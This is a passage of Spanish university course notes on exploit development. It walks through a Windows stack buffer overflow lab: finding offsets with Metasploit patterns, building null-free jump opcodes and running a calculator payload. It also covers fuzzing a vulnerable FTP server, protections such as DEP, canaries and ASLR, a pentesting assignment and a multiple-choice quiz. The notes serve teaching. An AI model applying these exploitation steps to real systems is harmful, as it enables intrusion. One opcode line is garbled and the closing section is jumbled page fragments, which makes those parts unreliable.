Primero vamos a crear el exploit de prueba que simule una situación de buffer
pequeño:
Figura 65. Simulamos un buffer pequeño.
Lo ejecutaremos y haremos un dump de ESP.

61
Figura 66. Volcado de ESP.
Encontramos que ESP es 0x000ffd38 y que hay 4 bytes de desplazamiento entre EIP y
ESP, por lo que solo tenemos 50 bytes de buffer en realidad. Pero, además,
encontramos que cuando acaban los NOPs está el carácter ‘0x00’ (fin de cadena)
porque es el final de la cadena que hemos copiado y a partir de ahí hay un montón de
letras «a».
Estas letras son parte del buffer inicial que hemos introducido antes de EIP, así que si
somos capaces de realizar un salto a esta parte podremos ejecutar un payload en ella.
Nuestro objetivo será guardar el payload en las posiciones de memoria donde haya a’s
y utilizar el buffer pequeño de las x para saltar a este.
Primero tendremos que encontrar la posición exacta de las a’s encontradas en la basura
introducida. Podemos hacerlo con ensayo y error, creando un patrón propio o como en
nuestro caso, usando el patrón de Metasploit (pattern_create y pattern_offset).
Figura 67. Ponemos el patrón para buscar la zona de las a’s.
Para empezar creamos un patrón de 1000 caracteres y lo insertamos antes que la

cadena de a’s (reducimos esta cadena en 1000 letras para mantener los 26.067 bytes) y
realizamos de nuevo un dump de ESP.

62
Figura 68. Volcado de ESP.
Podemos ver el parte del patrón, en concreto «5Ai6» (0x35416936, 0x36694135 en

Little-endian).
Figura 69. Obtenemos el offset, 257.
Ahora sabemos que las primeras 257 a’s serán basura pero a partir de ahí, tendremos
espacio para introducir un payload.
El siguiente paso será añadir en la zona de las x, los 50 bytes que tenemos disponibles
en ESP, el código que nos permita hacer Jmp [ESP + 257]. Dividiremos el problema en
dos partes:
ADD ESP, 119h (281 en hexadecimal, ya que hemos añadido NOPs y nos da igual el
offset mientras sea mayor igual que 257).
JMP ESP (ESP será ESP + 281, por lo que saltará a nuestro payload).
Nos encontramos un problema, el opcode de «add esp, 119h» contiene bytes nulos,
pues es \x81\xc4\x19\x01\x00\x00 y no nos sirve. Vamos a tener que encontrar otra
forma para dividir el número en varias sumas parciales. Además en esta ocasión,
probaremos con WinDbg, ya que su base de símbolos es mayor que la de mona (mona
para la suma nos dará siempre opcodes con bytes nulos).
Para buscar instrucciones con este depurador:

Le daremos a attach to a process y seleccionaremos la aplicación.
a (assemble), «instrucción a buscar», u (unassemble).
Será necesario pulsar q y volver al paso 1 para poder hacer otra búsqueda.

63
Figuras 70 y 71: Usamos WinDbg.
Probaremos con sumas parciales, 94 + 94 + 94 = 282 que también nos servirá. 94 en

hexadecimal será 0x5e. Obteniendo \x83\xc4\x5e de opcode.
Figura 72: Obtenemos el opcode.
Y ya tendremos nuestro código sin bytes nulos:
\x83\xc4\x5e //ADD ESP, 0x5e

\x83\xc4\x5e //ADD ESP, 0x5e
**\x83\xc4\x5** //ADD ESP, 0x5e
\xff\xe4 //JMP ESP
Finalmente crearemos nuestro exploit definitivo dándole a EIP la dirección de un JMP

ESP de un DLL, como la que hemos usado en la PoC 2 y le añadiremos un sled de NOPs
y el payload de la calculadora.
Nota: al realizar el exploit ha sido necesario quitar los últimos NOPs (marcados con **)
pues sobrepasaban el espacio total disponible en la pila y no permitía la ejecución
correcta del payload. Además al reducirse este número de NOPs, la posición a la que
saltar de ESP disminuye por lo que deberemos quitar la línea marcada con asteriscos
del código de salto. Solo saltaríamos (188 posiciones).

64
El código final quedaría así:
Figura 73. Código final buffer pequeño.
Y al ejecutarlo:
Figura 74. Obtenemos la calculadora.
Es aconsejable que si se desea seguir las PoC o los ejemplos, todos los archivos se
copien en el Escritorio o en alguna carpeta de la máquina donde se ejecuten y no se
haga directamente desde la carpeta compartida por las máquinas virtuales ya que
puede generar fallos.
Otras formas de saltar
Popad (Pop all double). Hace POP a dobles palabras de la pila y las guarda en los
registros de propósito general en la misma instrucción.
o Un solo popad sacará 32 bytes de la pila.

65
o Se cargarán en los registros en el siguiente orden: EDI, ESI, EBP, ESP, EBX,
EDX, ECX y EAX. (En ESP no se cargan datos sino que son descartados).
o El código de operación es ‘\x61’ (Las a’s que hemos usado como basura).
o Es muy útil para tamaños de buffer muy pequeños. Si tenemos que saltar 260
bytes con un espacio de salto de 14 bytes, podremos usar 9 POPAD y un JMP ESP
ocupando solo 11 bytes.
Saltos near y condicionales. Podemos realizar un salto de rango corto o un salto

condicional, es decir, saltar unos pocos bytes desde la posición de EIP (en el caso del
condicional se debe cumplir una condición también).
o El opcode de JMP NEAR es 0xEB así que para saltar 30 bytes sería: 0xeb, 0x1e.
o Para saltar 6 bytes con la condición de que el flag de cero esté activado, JZ
(0x74), será 0x74, 0x06.
Fuzzers
Como apartado final se quiere hablar de un tipo de fuzzer especial usado para testear
aplicaciones en busca de desbordamientos de buffer. Este tipo de fuzzer se dedicará por
nosotros a la tarea de enviar grandes cantidades de caracteres a las entradas de ciertos
servicios de protocolos conocidos, como HTTP o FTP. Usaremos Metasploit para
encontrar estos fuzzers, en el módulo auxiliary > fuzzers.
Uno de ellos, desarrollado por Corelan Team (los autores del plugin mona), se usa para
realizar este tipo de testeo de buffer overflow en servidores FTP. Introduce tantos
caracteres como le indiquemos siguiendo patrones para cada una de las opciones del
protocolo (nombre de usuario, contraseña, ningún comando, comando STOR…)
avisándonos si se ha lanzado alguna excepción a causa de desbordar el buffer por la
introducción de texto.
Vamos a realizar una pequeña prueba de concepto con un servidor FTP vulnerable
llamado WarFTP en una máquina XP y nuestra máquina Kali.
Primero encenderemos el servidor FTP, lo pondremos online (símbolo del rayo) y lo

enlazaremos al depurador.

66
Figura 75. Arrancamos el depurador y el FTP.
Después desde la máquina Kali seleccionaremos el fuzzer en Metasploit:
Figura 76. Seleccionamos el fuzzer.
El único parámetro necesario será el de Rhost con la dirección de la máquina víctima,

pero en nuestro caso pondremos endsize (tamaño máximo de la entrada de texto) en
1000, startsize en 300 y stepsize en 50.
Figura 77. Establecemos los parámetros del fuzzer.
Pondremos exploit y el fuzzer irá enviando texto a la aplicación. Como tenemos puesto
el depurador, cuando encuentre algún error este parará la aplicación y el fuzzer no
seguirá funcionando. En un entorno normal, sin el depurador, cuando la aplicación
deje de funcionar, el fuzzer lo notificará y acabará.

67
Figura 78. Fuzzer funcionando.
Será siempre conveniente comprobar fase por fase las entradas del fuzzer una vez
descubramos que hay un fallo en aplicación del servidor.
Figura 79. El fuzzer ha provocado un desbordamiento.
Habrá disponible en el aula virtual el vídeo con la prueba de concepto más detallada y
paso a paso.
2.6. Mecanismos de protección
A continuación se explicarán diferentes mecanismos y técnicas para prevenir y proteger

los sistemas frente a este tipo de vulnerabilidades.
Realizar una programación segura. Esta es la forma más efectiva y segura de

todas, que los mismos diseñadores y programadores inviertan tiempo en la
seguridad de las aplicaciones y tengan conciencia de la gravedad de las
vulnerabilidades:
o Se debe controlar la entrada de datos al usuario para no desbordar buffers ni
variables.
o Invertir tiempo en realizar test de pruebas para detectar posibles fallos.
o Tener un control exhaustivo de errores y excepciones.

68
o Evitar el uso de funciones deprecated e inseguras de C, como: strcpy(),

strcat(), sprintf(), scanf(), sscanf(), fscanf(), vfscanf(), vsprintf,
vscanf(), vsscanf(), streadd(), strecpy(), strtrns(). Usar librerías con
funciones seguras como Libsafe.
o Otorgar los mínimos privilegios necesarios en una aplicación, por si todas las
medidas de seguridad fallan, que el daño sea el mínimo.
DEP (Data Execution Prevention). Es un mecanismo que se puede implementar por

software o por hardware que evita la ejecución de código desde las páginas de
datos. Normalmente el código se ejecuta desde páginas de read only (zona de código
de la memoria) no desde el heap ni la pila.
o DEP por hardware consiste en un bit que se coloca en las páginas de memoria de
un proceso en el que se indica si esta puede ejecutar o no código. Este bit se llama
NX (no execute) en arquitectura Intel y XD (execute disable) en AMD. Esta
solución es en tiempo de ejecución y no requiere volver a recompilar las
aplicaciones para que funcione.
o DEP forzado por software no posee este bit mencionado, sino que consiste en
evitar que se sobrescriban los manejadores de excepciones SEH. Puede ayudar a
evitar que se ejecute código malintencionado. A diferencia del anterior hará falta
compilar específicamente para implementar esta medida, también llamada
/SafeSEH.
o Otra forma de solución, basada en librerías es detectar cualquier intento de
ejecución de código ilegítimo en la pila, ejemplo de esto es la solución
SecureStack desarrollada por SecureWave.
o Aunque haya formas de saltarse DEP, tanto software como hardware, supone
dificultar la tarea de generar vulnerabilidades y aumenta la complejidad de los
exploits.
Stack/Canary Cookies. Es una medida complementaria a DEP, consiste en añadir

un valor a la pila para comprobar que dicho valor no es sobrescrito al realizar un
buffer overflow. La idea es modificar la forma en la que el compilador genera el
código, por lo que será una medida que debe ser implementada en tiempo de
compilación y no en ejecución, haciendo que se genere un valor aleatorio justo
después de EBP solo cuando se usen buffers, no con variables que no sean
susceptibles al desbordamiento de buffer.

69
Figura 80. Funcionamiento de la Stack Cookie.

Fuente: www.incibe.es
o El valor aleatorio generado se guardará en la parte de datos de un proceso y será

comprobado cada vez que se realice una instrucción de salto o ret.
o Al igual que DEP, hay formas de evitarla y saltarla, pero supone aumentar la
dificultad de generar exploits. También se la conoce como /GS.
ASLR (Address Space Layout Randomization). Es una medida dirigida a dificultar

aún más ejecución de código malicioso. Consiste en generar direcciones de memoria
aleatorias para un proceso (la pila, el heap, las DLL…) para que no se pueda saltar a
direcciones absolutas.
o Un ejemplo se puede ver en Linux, creando un programa que nos devuelve la

dirección absoluta de la pila.
#include <stdio.h>
unsigned long get_sp(void)

{
__asm__("movl %esp,%eax");
}
void main()
{
printf("0x%x\n",get_sp());
Activar ASLR:
Desactivar ASLR

70
Este pequeño programa devolverá el valor de ESP cada vez que se ejecute, pudiendo ver
en cada ejecución como cambia su valor según tengamos o no activado ASLR.
Figura 81. Obtenemos los valores de la posición de la pila.
o De nuevo esta medida se podrá saltar, ya sea usando grandes sleds de NOPs,
esperando que el salto caiga en ellos o accediendo a librerías que sean estáticas.

71
Lo + recomendado
Lecciones magistrales
Meterpreter, Msfpayload, Msfconsole, Msfvenom
En esta lección magistral se van a comentar brevemente las características de

Meterpreter además de los módulos más importantes.
La clase magistral está disponible en el aula virtual.
No dejes de leer…
Hacking. Técnicas fundamentales
Erickson, J. (2009). Hacking. Técnicas fundamentales. Madrid: Ediciones Anaya

Multimedia.
Traducción del libro «Hacking the art of explotation» de Jon

Erickson. Es un de los mejores libros que existen entrando en
detalle en las diferentes vulnerabilidades que existen en las
aplicaciones de un sistema operativo.
TEMA 2 – Lo + recomendado © Universidad Internacional de La Rioja, S. A. (UNIR)

72
Hacking práctico
VV. AA. (2004). Hacking práctico. Madrid: Ediciones Anaya Multimedia.
Interesante libro que explica las principales vulnerabilidades

que tienen los sistemas operativos y los errores típicos que
tienen los programadores a la hora de realizar software.
Writing shellcode for Linux and *BSD
En este enlace se muestra información sobre shellcode y la ejecución de binarios en

Linux.
El artículo completo está disponible en el aula virtual o en la siguiente dirección web:

http://www.kernel-panic.it/security/shellcode/index.html
Practical Linux shellcode
En el siguiente documento se muestran ejemplos prácticos sobre hacking bajo la

plataforma Linux.
El artículo completo está disponible en el aula virtual o en la siguiente dirección web:

http://big-daddy.fr/repository/Documentation/Application%20Security/linux_shellcodes.pdf
TEMA 2 – Lo + recomendado © Universidad Internacional de La Rioja, S. A. (UNIR)

73
+ Información
A fondo
Manual de compilación y depuración en Linux
Este documento describe las herramientas de depuración y programación de GNU.
El artículo está disponible en el aula virtual o en la siguiente dirección web:

http://gcc.gnu.org/onlinedocs/gcc.pdf
Guía de Metasploitable
Esta guía está destinada a profesionales IT y de la seguridad que usan Metasploit

Framework o las ediciones comerciales de Metasploit como herramientas en test de
penetración.
El artículo está disponible en el aula virtual o en la siguiente dirección web:

http://es.scribd.com/doc/104115068/GUIA-EN-CASTELLANO-METASPLOITABLE
Webgrafía
Tutoriales de corelan
Página web que contiene los mejores tutoriales acerca de exploit para Windows.
https://www.corelan.be/index.php/articles/
TEMA 1 – + Información © Universidad Internacional de La Rioja, S. A. (UNIR)

74
Exploit-db
Página web donde podemos encontrar información sobre los últimos exploits
descubiertos.
http://www.exploit-db.com/shellcode/
Bibliografía
González, P. (2013). Metasploit para Pentesters. 2ª Edición. 0xWORD.
Puente, D. (2013). Linux Exploiting. Técnicas de explotación de vulnerabilidades en

Linux para la creación de expoits. oxWORD.
VV. AA. (2006). Extreme exploits (hackers y seguridad). Madrid: Ediciones Anaya
Multimedia.
VV. AA. (2005). Blindaje de redes: tu red invulnerable a los hackers. Madrid:
Ediciones Anaya Multimedia.
TEMA 1 – + Información © Universidad Internacional de La Rioja, S. A. (UNIR)

75
Actividades
Trabajo: Atacando máquinas con Metasploit
En la siguiente actividad deberás montar un escenario de auditoría interna o

pentesting. Para ello debéis descargaros diferentes máquinas:
» Metasploitable. Esta máquina no hay que instalarla, solamente utilizar la ISO con
Virtual Box. Se puede descargar desde esta dirección URL:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
» Windows 7. Se debe obtener una máquina Windows 7, la cual podéis descargar
desde DreamSpark
En este hito debéis crear la máquina para Metasploitable y arrancar desde el CD/DVD
con la ISO. Es recomendable configurar la red de la máquina Metasploitable de forma
que tengáis conectividad con vuestras otras máquinas y con la máquina anfitriona
(máquina física).
a) Realizar Fingerprinting sobre la máquina Metasploitable. Utilizar alguna

herramienta para llevar a cabo un fingerprinting sobre la máquina Metasploitable.
Recopilar todos los puertos y versiones posibles.
b) Conseguir ejecutar un payload sobre la máquina Metasploitable a través del puerto
21. ¿Existe un módulo de Metasploit que se aproveche de alguna vulnerabilidad del
software que se ejecuta en el puerto 21? Demostrar con imágenes vuestro proceso.
c) Explicar la diferencia entre un payload de tipo bind y reverse. Ejemplificarlo.
d) Instalar en Windows la aplicación Easy File Management Web Server 5.3
(https://www.exploit-db.com/apps/a46371c665d7c85689b47534904bc3f1-
efmsetup.exe) y detallar el proceso de explotación con Metasploit.
Describe los pasos que has seguido para conseguirlo.
Extensión máxima: 8 páginas (Georgia 11 e interlineado 1,5).
TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A. (UNIR)

76
Test
1. Indica cuál de las siguientes afirmaciones sobre Meterpreter es correcta:

A. No crea ningún proceso nuevo ya que se carga directamente en memoria RAM.
B. Lo podemos manejar desde Metasploit.
C. Es un intérprete de comandos que nos permite crear una backdoor.
D. Todas las anteriores son correctas.
2. Indica cuál de las siguientes afirmaciones sobre los comandos de Metasploit es

correcta:
A. Si ejecutamos show payloads nos mostrará todos los módulos para codificar
nuestros exploits.
B. El comando info nos muestra la información sobre la máquina víctima.
C. El comando set definirá las opciones requeridas por cada módulo.
D. Si ejecutamos show payloads nos mostrará todos los módulos para codificar
nuestros payloads.
3. Un exploit se puede definir como:

A. Un hardware encargado de interrumpir a otro programa durante su ejecución
para conseguir cierto tipo de privilegios.
B. Un sistema operativo encargado de interrumpir a otro programa durante su
ejecución para conseguir cierto tipo de privilegios.
C. Un programa encargado de interrumpir a otro programa durante su ejecución
para conseguir cierto tipo de privilegios.
D. Ninguna de las anteriores.
4. Sobre las vulnerabilidades de Heap Overflow indica qué afirmación es incorrecta:

A. Un tipo de desbordamiento del heap es el double-free.
B. Se utiliza la técnica de Heap Spraying para explotarla.
C. Ocurre cuando se introduce demasiado texto en una variable local.
D. Suele darse en lenguajes como C o C++.
TEMA 2 – Test © Universidad Internacional de La Rioja, S. A. (UNIR)

77
5. La instrucción mov eax, 0x4 es:

A. Una instrucción con formato AT&T que establece el valor decimal 4 en el
registro EAX.
B. Una instrucción con formato de Intel que establece el valor de EAX en la
dirección de memoria 0x4.
C. Una instrucción con formato de Intel que establece el valor decimal 4 en el
registro EAX.
D. Una instrucción con formato de AT&T que establece el valor de EAX en la
dirección de memoria 0x4.
6. Sobre los diferentes mecanismos de protección, indique cual no es correcto:

A. DEP consiste en no permitir la ejecución de código desde páginas de datos.
B. Las Canary Cookies son un mecanismo de protección para la ejecución de
código en la pila.
C. ASLR nos ayuda a comprobar que en nuestro código no existan funciones
propensas a ser vulnerables.
D. Hay mecanismo que crea direcciones para el heap y la pila aleatorias.
7. Indica que afirmación es correcta respecto los segmentos de memoria de un proceso:

A. El heap y la pila crecen desde las direcciones más altas hacia las más bajas.
B. La zona de código es de lectura y escritura.
C. La zona de la pila es de lectura y escritura.
D. La zona de datos no inicializados se encuentra al final del segmento de
memoria.
8. ¿Qué se hace cuando llamamos a un subproceso y queremos crear variables locales?:

A. Mover el valor de EBP a ESP.
B. Mover el valor de EIP a ESP.
C. Mover el valor de ESP a EBP.
D. Mover el valor de EIP a EBP.
9. ¿Cómo explotamos una vulnerabilidad de desbordamiento de buffer?:

A. Intentando saltar sobre la posición que guarda la siguiente instrucción.
B. Llenamos gran parte del buffer con basura.
C. Podemos utilizar un sled de NOPs.
D. Todas las anteriores son correctas.

78
10. ¿Cuál es el registro que apunta a la siguiente instrucción?:

A. ESP.
B. IBP.
C. EIP.
D. EBP.

79

Tema 2

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Tema 2

Cargado por

Copyright:

Formatos disponibles

Vulnerabilidades

[2.1] ¿Cómo estudiar este tema?

[2.2] Análisis de vulnerabilidades

[2.4] Tipos de vulnerabilidades

[2.5] Buffer Overflow

[2.6] Mecanismos de protección

Mecanismos de Tipos de Análisis de

Nessus Introducción Heap overflow Introducción a Programación

© Universidad Internacional de La Rioja, S. A. (UNIR)

2.1. ¿Cómo estudiar este tema?

Empezaremos hablando del análisis de las vulnerabilidades dentro de la máquina

Después hablaremos de la herramienta estrella a la hora de realizar la fase de

Además se hablará de varias herramientas complementarias de Metasploit con las que

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Tras la explicación teórica de los desbordamientos de buffer se expondrán dos pruebas

Para estas pruebas de concepto también se explicarán los depuradores y sus

Finalmente se explicarán los diferentes mecanismos de protección contra este tipo de

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

2.2. Análisis de vulnerabilidades

Primero, tendremos que descubrir qué aplicaciones o servicios de los que

Las tres herramientas son multiplataforma (aunque alguna tenga restricciones de la

Comenzaremos hablando de la más popular de todas, Nessus. Nessus es una

Para utilizarlo deberemos instalarlo primero: Lo haremos en Kali e iremos a la página:

> dpkg -i Nessus-5.2.1-debian6_i386.deb (o la versión que hayamos descargado)

Finalmente iremos a la URL: https://localhost:8834 para acceder a la interfaz.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Figura 1. Interfaz de Nessus.

Para recibir actualizaciones necesitaremos un código que nos enviarán si nos

Para comenzar el escaneo haremos clic en la pestaña de New Scan.

Figura 2. Introducir credenciales de acceso.

Pulsaremos en Save y comenzará el escaneo.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Figura 3. Escaneos hechos o en proceso.

Figura 4. Resultado del escaneo.

En el ejemplo anterior se ha utilizado el escaneo de host discovery para analizar las

Figura 5. Resultado de las vulnerabilidades encontradas.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Podremos también personalizar nuestros propios tipos de escaneo en la pestaña

Nessus es una herramienta que facilita mucho el trabajo de la búsqueda de

Figura 6. Inicio de OpenVas.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Al igual que Nessus tendremos que iniciar la aplicación y acceder mediante el

Figura 7: Interfaz de OpenVas.

Una vez actualizado elegiremos un objetivo. Iremos a la pestaña Configuration >

Figura 8. Nuevo objetivo.

Le daremos un nombre, una dirección IP y un rango de puertos para escanear.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Figura 9. Configuramos el objetivo.

Podremos elegir el número de hilos que escanearán a la vez.

Figura 10. Configuración del escaneo.

La última herramienta para el escaneo de vulnerabilidades nos viene de los creadores

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Para instalar esta herramienta descargaremos la versión comunnity para nuestro

Una vez instalado pondremos en nuestro navegador la URL: https://localhost:3780

Figura 11. Pantalla de inicio de nexpose.

Figura 12. Pulsamos en new static site.

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

Desde la pantalla principal podremos visualizar todos los escaneos realizados y en

Figura 13. Creamos un objetivo.

En la pestaña General deberemos introducir el nombre y en la pestaña Assets

Figura 14. Configuramos el escaneo.

Elegiremos el tipo de escáner a realizar y lo configuraremos. Finalmente, en la pantalla

TEMA 2 – Ideas clave © Universidad Internacional de La Rioja, S. A. (UNIR)

int get_pointer(int ant)